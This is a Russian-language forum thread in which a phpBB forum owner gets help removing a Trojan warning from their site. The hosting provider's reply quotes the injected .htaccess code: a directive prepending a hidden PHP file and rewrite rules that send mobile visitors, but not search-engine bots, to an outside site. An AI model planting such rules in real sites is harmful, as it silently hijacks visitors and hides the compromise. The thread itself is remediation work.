Как убить Трояна?

[AdmninsCluba]

обнаружено: троянская программа Trojan-Downloader.VBS.Small.dh

Почистил файл - index.php. Не помогло. Что надо сделать чтобы найти и убить скрипт?

Спасибо.

ОТВЕТ:
- проверяемся на вирусы
- меняем ВСЕ пароли и не храним их в FTP-клиенте.
- чистим файлы Index.* или заливаем из бэкапа.

http://virusinfo.info/pravila.html

[fanatic]

Да, извините. Появляется окно на сайте, которое состоит из картинки+поле вводу телефона+кнопка "отправить"

вот картинка подгружается с сайта стороннего (ссылка выше)

Добавлено спустя 3 минуты 20 секунд:
есть ли способ все файлы поиском просмотреть?

[AdmninsCluba]

Здравствуйте. Прикрепляю скрин. Буду благодарен любой информации и помощи по данному вопросу. Адрес форума _alla-doctor.info

[rxu]

ESET никакого вируса не видит.
Тестовый аккаунт есть?

[c61]

Это ссылка, обнаруженная в "базе вредоносных адресов". Проверьте .htaccess

[Алсидес]

У меня касперский, видит тот же вирус, что и на вашем картинке. А может это из-за фотохостингов?

[AdmninsCluba]

ESET никакого вируса не видит.
Тестовый аккаунт есть?

У меня Microsoft Security Essentials не ругается, установил в виртуальной машине Каспера и только тогда обнаружил проблему. Тестовый аккаунт - Денвер подойдет? Или лучше в сети?

[rxu]

К форуму.

[AdmninsCluba]

Это ссылка, обнаруженная в "базе вредоносных адресов". Проверьте .htaccess

Можно более подробнее я примерно понимаю... Проверить наличие постороннего кода?

rxu, я правильно понимаю - откатить форум на другой хостинг и проверить на работоспособность. Так?

[Алсидес]

rxu, я правильно понимаю - откатить форум на другой хостинг и проверить на работоспособность. Так?

Думаю он имел в виду какой-то логин или пароль, чтобы войти на ваш форум и проверить его как зерегисрированный пользователь или нет?

[Booker]

С фавиконом вроде проблема.

[AdmninsCluba]

Попытался перебросить на другой сайт - _профобр.рф хотел настроить пути к базе, перестала работать панель управления от хостера именно этого сайта, выдает Error: document not found

Отписал хостеру, жду ответ.

Favicon.ico файла на сайте нет.
ЯндексВебмастер - Вредоносный код на сайте не обнаружен

Добавлено спустя 2 часа 1 минуту 46 секунд:
Получил ответ от хостера -
Здравствуйте.

Уточните, пожалуйста, у разработчика Вашего сайта, возможно следующий код в .htaccess является вредоносным (хотя данное содержимое в явном виде Касперский не может увидеть, это инструкции веб-сервера):

php_value auto_prepend_file /home/alladoctor/domains/alla-doctor.info/public_html/73dce75b0ef045f77e443a1beae076ff.php
RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk) [NC]
RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
RewriteRule (.*) http://systemaz.ru/?8&source=alla-doctor.info [L,R=302] #/?8&source=alla-doctor.info [L,R=302] # on

По всей видимости подозрительным Касперский считает вот этот файл:
http://alla-doctor.info/styles/subsilve ... ni_faq.gif

Попробуйте нажать "если считаете, что веб-страница заблокирована ошибочно", возможно при повторной проверке Касперский пересмотрит свое отношение к картинке. В случае, если этого не произойдет, рекомендуем Вам направить пояснительное письмо в поддержку антивируса. Для нас эта информация также может быть полезной.

[c61]

По всей видимости подозрительным Касперский считает вот этот файл:

Он порой все файлы считает подозрительными, если ему какая-то ссылка не понравилась.
В .htaccess вот подозрительное:

/home/alladoctor/domains/alla-doctor.info/public_html/73dce75b0ef045f77e443a1beae076ff.php

Я бы на Вашем месте сохранил его где-то у себя (.htaccess и эту заразу по ссылочке, чтобы потом разобраться), а .htaccess, что на сайте, заменил бы на стандартный:

Код: Выделить всё

<Files "config.php">
Order Allow,Deny
Deny from All
</Files>

<Files "common.php">
Order Allow,Deny
Deny from All
</Files>

Ну и rewriterule туда можно добавить.

[AdmninsCluba]

Установил стандартный файл .htaccess Просьба ответить с другого компьютера у кого Каспер установлен как отображается сайт???

У меня вроде ушла проблема.

[c61]

Установил стандартный файл .htaccess Просьба ответить с другого компьютера у кого Каспер установлен как отображается сайт??? У меня вроде ушла проблема.

Всё нормально.

[Sheer]

73dce75b0ef045f77e443a1beae076ff.php

http://forum.searchengines.ru/showpost. ... stcount=23